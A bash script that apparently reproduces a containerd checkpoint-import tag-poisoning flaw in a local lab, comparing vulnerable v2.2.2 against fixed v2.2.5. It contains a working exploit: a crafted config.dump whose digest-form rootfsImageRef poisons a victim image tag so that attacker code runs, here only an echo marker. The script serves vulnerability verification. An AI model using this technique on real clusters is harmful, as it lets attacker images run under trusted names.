#!/bin/bash
set -uo pipefail

# Portable paths - works from any directory. This script is intentionally
# stage-specific and writes only under bundle/vuln_variant and bundle/logs.
ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
VAR_DIR="$ROOT/vuln_variant"
LOGS="$ROOT/logs/vuln_variant"
ART="$VAR_DIR/artifacts"
mkdir -p "$LOGS" "$ART"
cd "$ROOT"

LOG="$LOGS/reproduction_steps.log"
: > "$LOG"
say(){ echo "[$(date -u +%H:%M:%S)] $*" | tee -a "$LOG"; }

write_runtime_manifest(){
  local reached="$1" service="$2" health="$3" verdict="$4"; shift 4
  python3 - "$VAR_DIR/runtime_manifest.json" "$reached" "$service" "$health" "$verdict" "$@" <<'PY'
import json, os, sys
path, reached, service, health, verdict = sys.argv[1:6]
root = os.path.dirname(os.path.dirname(path))
arts = []
for p in sys.argv[6:]:
    if not p:
        continue
    try:
        arts.append(os.path.relpath(p, root) if os.path.isabs(p) else p)
    except Exception:
        arts.append(p)
m = {
  "entrypoint_kind": "api_remote",
  "entrypoint_detail": "CRI gRPC CreateContainer checkpoint import with config.dump rootfsImageRef using NAME@DIGEST instead of a tag; followed by normal victim CreateContainer/StartContainer for the poisoned local tag",
  "service_started": service == "true",
  "healthcheck_passed": health == "true",
  "target_path_reached": reached == "true",
  "runtime_stack": ["docker privileged runner", "containerd v2.2.2", "containerd v2.2.5 fixed control", "runc", "CNI ptp", "local registry:2"],
  "variant_candidate": "digest_rootfsImageRef_tag_poisoning",
  "final_verdict": verdict,
  "proof_artifacts": arts
}
with open(path, "w") as f:
    json.dump(m, f, indent=2)
    f.write("\n")
PY
}

write_runtime_manifest false false false "started" "$LOG"

if ! command -v docker >/dev/null 2>&1; then
  say "ERROR: docker is not available"
  write_runtime_manifest false false false "blocked: docker unavailable" "$LOG"
  exit 1
fi
if ! docker ps >/dev/null 2>&1; then
  say "ERROR: docker daemon is not reachable"
  write_runtime_manifest false false false "blocked: docker daemon unreachable" "$LOG"
  exit 1
fi

# Record exact source identities and patch hunk without mutating the cached repo.
CACHE_CTX="$ROOT/project_cache_context.json"
REPO=""
if [ -f "$CACHE_CTX" ] && command -v jq >/dev/null 2>&1; then
  cached_repo="$(jq -r '.project_cache_dir // empty' "$CACHE_CTX")/repo"
  [ -d "$cached_repo/.git" ] && REPO="$cached_repo"
fi
if [ -n "$REPO" ]; then
  {
    echo "repository=https://github.com/containerd/containerd"
    echo "v2.2.2=$(git -C "$REPO" rev-parse v2.2.2)"
    echo "v2.2.5=$(git -C "$REPO" rev-parse v2.2.5)"
    echo "v2.3.2=$(git -C "$REPO" rev-parse v2.3.2 2>/dev/null || true)"
    echo "current_HEAD=$(git -C "$REPO" rev-parse HEAD)"
    echo "--- v2.2.2 vulnerable RootfsImageRef/RootfsImageName block ---"
    git -C "$REPO" show v2.2.2:internal/cri/server/container_checkpoint_linux.go | sed -n '310,365p'
    echo "--- v2.2.5 fixed corresponding block ---"
    git -C "$REPO" show v2.2.5:internal/cri/server/container_checkpoint_linux.go | sed -n '385,415p'
  } > "$LOGS/source_identity_discovery.txt" 2>&1 || true
  say "recorded source identity at logs/vuln_variant/source_identity_discovery.txt"
fi

cat > "$VAR_DIR/runner_Dockerfile" <<'EOF_DOCKER'
FROM ubuntu:22.04
ENV DEBIAN_FRONTEND=noninteractive
RUN apt-get update && apt-get install -y --no-install-recommends \
    ca-certificates curl wget jq iptables iproute2 procps socat tar gzip findutils \
    libseccomp2 criu && rm -rf /var/lib/apt/lists/*
RUN mkdir -p /opt/cni/bin && \
    curl -sL "https://github.com/containernetworking/plugins/releases/download/v1.5.1/cni-plugins-linux-amd64-v1.5.1.tgz" | tar xz -C /opt/cni/bin
RUN mkdir -p /opt/containerd/bin /opt/bin /etc/containerd/certs.d /var/lib/containerd /run/containerd /etc/cni/net.d
COPY bin/containerd /opt/containerd/bin/containerd
COPY bin/containerd-shim-runc-v2 /opt/containerd/bin/containerd-shim-runc-v2
COPY bin/ctr /opt/containerd/bin/ctr
COPY runc.amd64 /opt/bin/runc
COPY crictl/crictl /opt/bin/crictl
RUN chmod +x /opt/containerd/bin/* /opt/bin/runc /opt/bin/crictl && \
    ln -sf /opt/bin/runc /usr/local/bin/runc && \
    ln -sf /opt/containerd/bin/containerd /usr/local/bin/containerd && \
    ln -sf /opt/containerd/bin/containerd-shim-runc-v2 /usr/local/bin/containerd-shim-runc-v2 && \
    ln -sf /opt/containerd/bin/ctr /usr/local/bin/ctr && \
    ln -sf /opt/bin/crictl /usr/local/bin/crictl
COPY entrypoint.sh /entrypoint.sh
COPY variant_exploit.sh /variant_exploit.sh
RUN chmod +x /entrypoint.sh /variant_exploit.sh
ENTRYPOINT ["/entrypoint.sh"]
EOF_DOCKER

cat > "$VAR_DIR/runner_entrypoint.sh" <<'EOF_ENTRY'
#!/bin/bash
set -euo pipefail
REGISTRY="${REGISTRY:-pruva-registry:5000}"
SOCK="/run/containerd/containerd.sock"
CERTS_DIR="/etc/containerd/certs.d"
mkdir -p /etc/containerd "$CERTS_DIR" /run/containerd /var/lib/containerd /etc/cni/net.d /tmp/podlogs
containerd config default > /etc/containerd/config.toml
sed -i "s|^      sandbox = .*|      sandbox = \"${REGISTRY}/pause:3.10\"|" /etc/containerd/config.toml
sed -i "s|^      config_path = .*|      config_path = \"${CERTS_DIR}\"|" /etc/containerd/config.toml
sed -i "s|^    snapshotter = .*|    snapshotter = \"native\"|" /etc/containerd/config.toml
rm -rf "$CERTS_DIR"/*; mkdir -p "$CERTS_DIR/${REGISTRY}" "$CERTS_DIR/localhost:5000"
for host in "${REGISTRY}" "localhost:5000"; do
  mkdir -p "$CERTS_DIR/$host"
  cat > "$CERTS_DIR/$host/hosts.toml" <<TOML
server = "http://$host"
[host."http://$host"]
  capabilities = ["pull", "resolve", "push"]
TOML
done
cat > /etc/cni/net.d/10-pruva.conflist <<JSON
{"cniVersion":"1.0.0","name":"pruva-net","plugins":[{"type":"ptp","ipMasq":true,"ipam":{"type":"host-local","ranges":[[{"subnet":"10.244.0.0/16"}]],"dataDir":"/run/cni-ipam"}},{"type":"portmap","capabilities":{"portMappings":true}}]}
JSON
cat > /etc/crictl.yaml <<YAML
runtime-endpoint: unix://${SOCK}
image-endpoint: unix://${SOCK}
timeout: 60
debug: false
YAML
for c in cpuset cpu io memory hugetlb pids rdma; do echo "+$c" > /sys/fs/cgroup/cgroup.subtree_control 2>/dev/null || true; done
pkill -x socat 2>/dev/null || true
nohup setsid /usr/bin/socat TCP-LISTEN:5000,fork,reuseaddr TCP:"${REGISTRY}" >/tmp/socat.log 2>&1 & disown
: > /tmp/containerd.log
containerd --config /etc/containerd/config.toml --root /var/lib/containerd --address "$SOCK" > /tmp/containerd.log 2>&1 &
echo $! > /tmp/containerd.pid
for i in $(seq 1 100); do [ -S "$SOCK" ] && break; sleep 0.5; done
for i in $(seq 1 100); do ctr --address "$SOCK" plugins ls >/tmp/plugins.log 2>&1 && break; sleep 0.5; done
ctr --address "$SOCK" -n k8s.io images pull --plain-http "${REGISTRY}/pause:3.10" >/tmp/pause-pull.log 2>&1 || true
echo "ENTRYPOINT_READY"
tail -f /tmp/containerd.log 2>/dev/null || sleep infinity
EOF_ENTRY

cat > "$VAR_DIR/variant_exploit.sh" <<'EOF_EXPLOIT'
#!/bin/bash
# Runs inside the privileged runner. Candidate variant: config.dump supplies
# rootfsImageRef as NAME@DIGEST rather than NAME:TAG. Legitimate checkpoint
# comments describe NAME@DIGEST, so this tests whether the fixed code still lets
# the digest-form reference create an arbitrary RootfsImageName tag.
set -uo pipefail
SOCK="/run/containerd/containerd.sock"
REG="localhost:5000"
ATTACKER_TAG="${REG}/attacker-digest:latest"
VICTIM_TAG="${REG}/victim-digest:stable"
EXPECTATION="${EXPECTATION:-vulnerable}"
RESULT_FILE="/tmp/variant_result.txt"
EVIDENCE="/tmp/variant_evidence.txt"
: > "$EVIDENCE"
log(){ echo "$@" | tee -a "$EVIDENCE"; }

log "### Variant candidate: digest-form rootfsImageRef -> arbitrary rootfsImageName tag ###"
log "EXPECTATION=$EXPECTATION"
log "containerd: $(containerd --version 2>/dev/null || true)"

DIGEST=$(wget -qS --spider --header='Accept: application/vnd.oci.image.manifest.v1+json, application/vnd.docker.distribution.manifest.v2+json' "http://${REG}/v2/attacker-digest/manifests/latest" 2>&1 | awk 'BEGIN{IGNORECASE=1} /Docker-Content-Digest:/ {gsub("\r", "", $2); print $2; exit}')
if [ -z "$DIGEST" ]; then
  log "VERDICT: SETUP_FAILED - could not resolve attacker manifest digest from local registry"
  echo "SETUP_FAILED" > "$RESULT_FILE"
  exit 2
fi
ATTACKER_REF="${REG}/attacker-digest@${DIGEST}"
log "attacker tag=$ATTACKER_TAG"
log "attacker digest ref=$ATTACKER_REF"
log "poison target rootfsImageName=$VICTIM_TAG"

mkdir -p /checkpoints /tmp/cpbuild /cfg /tmp/podlogs
cd /tmp/cpbuild
rm -f /checkpoints/digest-variant.tar
cat > config.dump <<JSON
{"id":"checkpoint-digest-variant","name":"checkpoint-digest-variant","rootfsImage":"${VICTIM_TAG}","rootfsImageRef":"${ATTACKER_REF}","rootfsImageName":"${VICTIM_TAG}","runtime":"io.containerd.runc.v2","createdTime":"2026-01-01T00:00:00Z","checkpointedTime":"2026-01-01T00:00:00Z"}
JSON
cat > spec.dump <<JSON
{"annotations":{"io.kubernetes.cri.sandbox-id":"placeholder","io.kubernetes.cri.container-name":"checkpoint-digest-variant"}}
JSON
cat > status.dump <<JSON
{"id":"checkpoint-digest-variant","metadata":{"name":"checkpoint-digest-variant"},"image":{"image":"${VICTIM_TAG}","user_specified_image":"${VICTIM_TAG}"},"image_ref":"${ATTACKER_REF}","labels":{},"annotations":{}}
JSON
tar -cf /checkpoints/digest-variant.tar config.dump spec.dump status.dump
log "checkpoint config.dump: $(tar -xOf /checkpoints/digest-variant.tar config.dump)"

ctr --address "$SOCK" -n k8s.io images rm "$ATTACKER_TAG" "$ATTACKER_REF" "$VICTIM_TAG" >/tmp/rm-variant.log 2>&1 || true
if ctr --address "$SOCK" -n k8s.io images list | grep -E "attacker-digest|victim-digest" >/tmp/pre-existing.log 2>&1; then
  log "PRE: unexpected digest-variant images remained after cleanup"
  cat /tmp/pre-existing.log | tee -a "$EVIDENCE"
else
  log "PRE: attacker digest image and victim tag absent from local image store"
fi

cat > /cfg/pod.yaml <<YAML
metadata:
  name: pruva-variant-pod
  namespace: default
  uid: pruvavariantpod
  attempt: 1
hostname: pruva-variant-pod
log_directory: /tmp/podlogs
linux:
  security_context:
    namespace_options:
      network: 0
      pid: 0
YAML
POD_ID=$(crictl runp /cfg/pod.yaml 2>&1 | tee -a "$EVIDENCE" | tail -1)
log "POD_ID=$POD_ID state=$(crictl inspectp "$POD_ID" 2>/dev/null | grep -m1 '\"state\"' || echo unknown)"

cat > /cfg/checkpoint-container.yaml <<YAML
metadata:
  name: checkpoint-digest-importer
  attempt: 1
image:
  image: /checkpoints/digest-variant.tar
log_path: checkpoint-digest-importer.log
linux:
  security_context:
    namespace_options:
      network: 0
      pid: 0
YAML
log "### Step 1: CRI CreateContainer imports checkpoint with digest-form rootfsImageRef ###"
CREATE_OUT=$(crictl create "$POD_ID" /cfg/checkpoint-container.yaml /cfg/pod.yaml 2>&1 | tee -a "$EVIDENCE")
CREATE_RC=$?
log "checkpoint CreateContainer rc=$CREATE_RC output: $CREATE_OUT"
if [ "$CREATE_RC" -ne 0 ]; then
  log "VERDICT: CHECKPOINT_IMPORT_FAILED"
  echo "CHECKPOINT_IMPORT_FAILED" > "$RESULT_FILE"
  exit 1
fi

ATTACKER_PRESENT=$(ctr --address "$SOCK" -n k8s.io images list 2>/dev/null | grep -c "attacker-digest" || true)
VICTIM_PRESENT=$(ctr --address "$SOCK" -n k8s.io images list 2>/dev/null | grep -c "$VICTIM_TAG" || true)
log "POST-CHECKPOINT: attacker digest image entries = $ATTACKER_PRESENT"
log "POST-CHECKPOINT: poisoned victim digest tag entries = $VICTIM_PRESENT"
ctr --address "$SOCK" -n k8s.io images list 2>/dev/null | grep -E "REPOSITORY|attacker-digest|victim-digest" | tee -a "$EVIDENCE" || true

cat > /cfg/victim-container.yaml <<YAML
metadata:
  name: victim-from-digest-poisoned-tag
  attempt: 1
image:
  image: ${VICTIM_TAG}
log_path: victim-from-digest-poisoned-tag.log
linux:
  security_context:
    namespace_options:
      network: 0
      pid: 0
YAML
log "### Step 2: normal victim CreateContainer + StartContainer for $VICTIM_TAG ###"
VICTIM_CREATE_OUT=$(crictl create "$POD_ID" /cfg/victim-container.yaml /cfg/pod.yaml 2>&1)
VICTIM_CREATE_RC=$?
printf '%s\n' "$VICTIM_CREATE_OUT" | tee -a "$EVIDENCE"
CODE_EXEC_OBSERVED=0
if [ "$VICTIM_CREATE_RC" -eq 0 ]; then
  VICTIM_CID=$(printf '%s\n' "$VICTIM_CREATE_OUT" | tail -1)
  log "victim container id: $VICTIM_CID"
  START_OUT=$(crictl start "$VICTIM_CID" 2>&1)
  START_RC=$?
  printf '%s\n' "$START_OUT" | tee -a "$EVIDENCE"
  log "StartContainer rc=$START_RC"
  for i in $(seq 1 15); do
    LOG_OUT=$(crictl logs "$VICTIM_CID" 2>&1 || true)
    if printf '%s\n' "$LOG_OUT" | grep -q "PRUVA_DIGEST_VARIANT_CODE_EXEC"; then
      CODE_EXEC_OBSERVED=1
      break
    fi
    sleep 1
  done
  log "### victim logs ###"
  crictl logs "$VICTIM_CID" 2>&1 | tee -a "$EVIDENCE" || true
else
  log "victim CreateContainer failed (expected for fixed runtime when no poisoned tag exists)"
fi

log "### CRI/containerd summary ###"
crictl ps -a 2>&1 | tee -a "$EVIDENCE" || true
grep -iE "ImageCreate event.*(attacker-digest|victim-digest)|Prepared .* for restore|failed to prepare|StartContainer|CreateContainer" /tmp/containerd.log | tail -60 | tee -a "$EVIDENCE" || true

if [ "$EXPECTATION" = "vulnerable" ]; then
  if [ "$ATTACKER_PRESENT" -gt 0 ] && [ "$VICTIM_PRESENT" -gt 0 ] && [ "$CODE_EXEC_OBSERVED" -eq 1 ]; then
    log "VERDICT: VULN_DIGEST_TRIGGER_CONFIRMED - digest-form rootfsImageRef poisoned $VICTIM_TAG and executed attacker image code"
    echo "VULN_DIGEST_TRIGGER_CONFIRMED" > "$RESULT_FILE"
    exit 0
  fi
  log "VERDICT: VULN_DIGEST_TRIGGER_NOT_CONFIRMED"
  echo "VULN_DIGEST_TRIGGER_NOT_CONFIRMED" > "$RESULT_FILE"
  exit 1
fi

if [ "$EXPECTATION" = "fixed" ]; then
  if [ "$VICTIM_PRESENT" -eq 0 ] && [ "$CODE_EXEC_OBSERVED" -eq 0 ]; then
    log "VERDICT: FIXED_DIGEST_TRIGGER_BLOCKED - fixed runtime pulled/resolved the base image but did not create the arbitrary victim tag"
    echo "FIXED_DIGEST_TRIGGER_BLOCKED" > "$RESULT_FILE"
    exit 0
  fi
  log "VERDICT: FIXED_DIGEST_TRIGGER_STILL_VULNERABLE - arbitrary tag or code execution observed on fixed runtime"
  echo "FIXED_DIGEST_TRIGGER_STILL_VULNERABLE" > "$RESULT_FILE"
  exit 1
fi

log "VERDICT: UNKNOWN_EXPECTATION"
echo "UNKNOWN_EXPECTATION" > "$RESULT_FILE"
exit 1
EOF_EXPLOIT
chmod +x "$VAR_DIR/runner_entrypoint.sh" "$VAR_DIR/variant_exploit.sh"

NET="pruva-variant-net"
REG_NAME="pruva-variant-registry"
REG="pruva-registry:5000"
REG_PORT="${PRUVA_VARIANT_REGISTRY_PORT:-5001}"
HOST_REG="localhost:${REG_PORT}"
say "starting local registry for variant proof (host push endpoint ${HOST_REG}, runner pull endpoint localhost:5000 via socat)"
docker network create "$NET" >/dev/null 2>&1 || true
docker rm -f "$REG_NAME" >/dev/null 2>&1 || true
docker run -d --name "$REG_NAME" --network "$NET" --network-alias pruva-registry -p "${REG_PORT}:5000" --restart=no registry:2 >/dev/null
for i in $(seq 1 50); do
  docker run --rm --network "$NET" alpine:3.20 sh -c 'wget -qO- http://pruva-registry:5000/v2/ >/dev/null' >>"$LOG" 2>&1 && break
  sleep 1
done
if ! docker run --rm --network "$NET" alpine:3.20 sh -c 'wget -qO- http://pruva-registry:5000/v2/ >/dev/null' >>"$LOG" 2>&1; then
  say "ERROR: local registry did not become reachable"
  write_runtime_manifest false false false "blocked: registry unavailable" "$LOG"
  exit 1
fi

say "building and pushing digest-variant images"
docker pull registry.k8s.io/pause:3.10 >>"$LOG" 2>&1 || true
docker tag registry.k8s.io/pause:3.10 "$HOST_REG/pause:3.10"
docker push "$HOST_REG/pause:3.10" >>"$LOG" 2>&1
mkdir -p "$ART/images/attacker-digest" "$ART/images/victim-digest"
cat > "$ART/images/attacker-digest/Dockerfile" <<'EOF_ATTACKER'
FROM alpine:3.20
CMD ["/bin/sh", "-c", "echo PRUVA_DIGEST_VARIANT_CODE_EXEC uid=$(id -u) gid=$(id -g) image=attacker-digest; sleep 1"]
EOF_ATTACKER
cat > "$ART/images/victim-digest/Dockerfile" <<'EOF_VICTIM'
FROM alpine:3.20
CMD ["/bin/sh", "-c", "echo LEGITIMATE_DIGEST_VARIANT_VICTIM_SHOULD_NOT_RUN; sleep 1"]
EOF_VICTIM
docker build -t "$HOST_REG/attacker-digest:latest" "$ART/images/attacker-digest" >>"$LOG" 2>&1
docker push "$HOST_REG/attacker-digest:latest" >>"$LOG" 2>&1
docker build -t "$HOST_REG/victim-digest:stable" "$ART/images/victim-digest" >>"$LOG" 2>&1
docker push "$HOST_REG/victim-digest:stable" >>"$LOG" 2>&1

copy_or_fetch_containerd(){
  local version="$1"
  local outdir="$ART/containerd-$version"
  mkdir -p "$outdir"
  if [ ! -x "$outdir/bin/containerd" ]; then
    if [ -x "$ROOT/artifacts/containerd-$version/bin/containerd" ]; then
      cp -a "$ROOT/artifacts/containerd-$version/bin" "$outdir/"
    else
      say "fetching containerd $version release"
      local tarball="$ART/containerd-$version-linux-amd64.tar.gz"
      curl -fL -o "$tarball" "https://github.com/containerd/containerd/releases/download/v$version/containerd-$version-linux-amd64.tar.gz" >>"$LOG" 2>&1 || return 1
      mkdir -p "$outdir/extract" && tar xzf "$tarball" -C "$outdir/extract" && cp -a "$outdir/extract/bin" "$outdir/"
    fi
  fi
  [ -x "$outdir/bin/containerd" ]
}
copy_or_fetch_tools(){
  mkdir -p "$ART/crictl"
  if [ ! -x "$ART/runc" ]; then
    if [ -x "$ROOT/artifacts/runc" ]; then cp "$ROOT/artifacts/runc" "$ART/runc"; chmod +x "$ART/runc"; else curl -fL -o "$ART/runc" "https://github.com/opencontainers/runc/releases/download/v1.4.0/runc.amd64" >>"$LOG" 2>&1 && chmod +x "$ART/runc"; fi
  fi
  if [ ! -x "$ART/crictl/crictl" ]; then
    if [ -x "$ROOT/artifacts/crictl/crictl" ]; then cp "$ROOT/artifacts/crictl/crictl" "$ART/crictl/crictl"; chmod +x "$ART/crictl/crictl"; else curl -fL -o "$ART/crictl.tgz" "https://github.com/kubernetes-sigs/cri-tools/releases/download/v1.32.0/crictl-v1.32.0-linux-amd64.tar.gz" >>"$LOG" 2>&1 && tar xzf "$ART/crictl.tgz" -C "$ART/crictl"; fi
  fi
}

say "preparing containerd/runc/crictl binaries"
copy_or_fetch_containerd "2.2.2" || { say "ERROR: cannot prepare containerd 2.2.2"; exit 1; }
copy_or_fetch_containerd "2.2.5" || { say "ERROR: cannot prepare containerd 2.2.5"; exit 1; }
copy_or_fetch_tools || { say "ERROR: cannot prepare runc/crictl"; exit 1; }

build_runner(){
  local version="$1"
  local image="$2"
  local builddir="$ART/runner-$version"
  rm -rf "$builddir"; mkdir -p "$builddir/bin" "$builddir/crictl"
  cp "$ART/containerd-$version/bin/containerd" "$ART/containerd-$version/bin/containerd-shim-runc-v2" "$ART/containerd-$version/bin/ctr" "$builddir/bin/"
  cp "$ART/runc" "$builddir/runc.amd64"
  cp "$ART/crictl/crictl" "$builddir/crictl/"
  cp "$VAR_DIR/runner_Dockerfile" "$builddir/Dockerfile"
  cp "$VAR_DIR/runner_entrypoint.sh" "$builddir/entrypoint.sh"
  cp "$VAR_DIR/variant_exploit.sh" "$builddir/variant_exploit.sh"
  say "building $image for containerd $version"
  docker build -t "$image" "$builddir" >>"$LOG" 2>&1
}
build_runner "2.2.2" "pruva-variant-ctrd:v222-digest"
build_runner "2.2.5" "pruva-variant-ctrd:v225-digest-fixed"

run_case(){
  local label="$1"
  local image="$2"
  local expectation="$3"
  local cname="pruva-variant-$label"
  say "running $label ($expectation)"
  docker rm -f "$cname" >/dev/null 2>&1 || true
  docker run -d --name "$cname" --privileged --cgroupns=host --network "$NET" -e "REGISTRY=$REG" "$image" >/dev/null
  local ready=no
  for i in $(seq 1 100); do docker logs "$cname" 2>&1 | grep -q ENTRYPOINT_READY && { ready=yes; break; }; sleep 1; done
  if [ "$ready" != yes ]; then docker logs "$cname" > "$LOGS/${label}_startup_failure.log" 2>&1 || true; say "ERROR: $label did not become ready"; return 2; fi
  docker exec "$cname" containerd --version > "$LOGS/${label}_containerd_version.txt" 2>&1 || true
  set +e
  docker exec -e "EXPECTATION=$expectation" "$cname" bash /variant_exploit.sh > "$LOGS/${label}_variant_stdout.log" 2>&1
  local rc=$?
  set -e
  docker exec "$cname" cat /tmp/variant_result.txt > "$LOGS/${label}_result.txt" 2>/dev/null || echo NO_RESULT > "$LOGS/${label}_result.txt"
  docker exec "$cname" cat /tmp/variant_evidence.txt > "$LOGS/${label}_variant_evidence.txt" 2>/dev/null || true
  docker exec "$cname" cat /tmp/containerd.log > "$LOGS/${label}_containerd.log" 2>/dev/null || true
  docker exec "$cname" ctr --address /run/containerd/containerd.sock -n k8s.io images list > "$LOGS/${label}_ctr_images.txt" 2>/dev/null || true
  docker exec "$cname" crictl ps -a > "$LOGS/${label}_crictl_ps.txt" 2>/dev/null || true
  say "$label result: $(cat "$LOGS/${label}_result.txt") (exec rc=$rc)"
  return 0
}

run_case "vulnerable_v222_digest" "pruva-variant-ctrd:v222-digest" "vulnerable"
run_case "fixed_v225_digest" "pruva-variant-ctrd:v225-digest-fixed" "fixed"

VULN_RESULT="$(cat "$LOGS/vulnerable_v222_digest_result.txt" 2>/dev/null || echo NO_RESULT)"
FIXED_RESULT="$(cat "$LOGS/fixed_v225_digest_result.txt" 2>/dev/null || echo NO_RESULT)"
{
  echo "Digest-form rootfsImageRef candidate"
  echo "Vulnerable result: $VULN_RESULT"
  grep -E "VERDICT:|PRUVA_DIGEST_VARIANT_CODE_EXEC|POST-CHECKPOINT|attacker digest ref" "$LOGS/vulnerable_v222_digest_variant_evidence.txt" || true
  echo
  echo "Fixed result: $FIXED_RESULT"
  grep -E "VERDICT:|PRUVA_DIGEST_VARIANT_CODE_EXEC|POST-CHECKPOINT|failed \(expected|attacker digest ref" "$LOGS/fixed_v225_digest_variant_evidence.txt" || true
} > "$LOGS/digest_variant_summary.txt"
cat "$LOGS/digest_variant_summary.txt" | tee -a "$LOG"

if [ "$VULN_RESULT" = "VULN_DIGEST_TRIGGER_CONFIRMED" ] && [ "$FIXED_RESULT" = "FIXED_DIGEST_TRIGGER_STILL_VULNERABLE" ]; then
  write_runtime_manifest true true true "confirmed bypass: fixed still vulnerable" "$LOGS/digest_variant_summary.txt" "$LOGS/vulnerable_v222_digest_variant_evidence.txt" "$LOGS/fixed_v225_digest_variant_evidence.txt" "$LOG"
  say "BYPASS CONFIRMED: fixed runtime reproduced digest-form tag poisoning."
  exit 0
fi

if [ "$VULN_RESULT" = "VULN_DIGEST_TRIGGER_CONFIRMED" ] && [ "$FIXED_RESULT" = "FIXED_DIGEST_TRIGGER_BLOCKED" ]; then
  write_runtime_manifest true true true "no bypass: digest-form alternate trigger works only on vulnerable version and is covered by v2.2.5 fix" "$LOGS/digest_variant_summary.txt" "$LOGS/vulnerable_v222_digest_variant_evidence.txt" "$LOGS/fixed_v225_digest_variant_evidence.txt" "$LOG"
  say "NO BYPASS: digest-form candidate reproduced on vulnerable v2.2.2 but fixed v2.2.5 blocked arbitrary tag creation."
  exit 1
fi

write_runtime_manifest false true true "no confirmed variant: vulnerable=$VULN_RESULT fixed=$FIXED_RESULT" "$LOGS/digest_variant_summary.txt" "$LOG"
say "NO CONFIRMED VARIANT: vulnerable=$VULN_RESULT fixed=$FIXED_RESULT"
exit 1
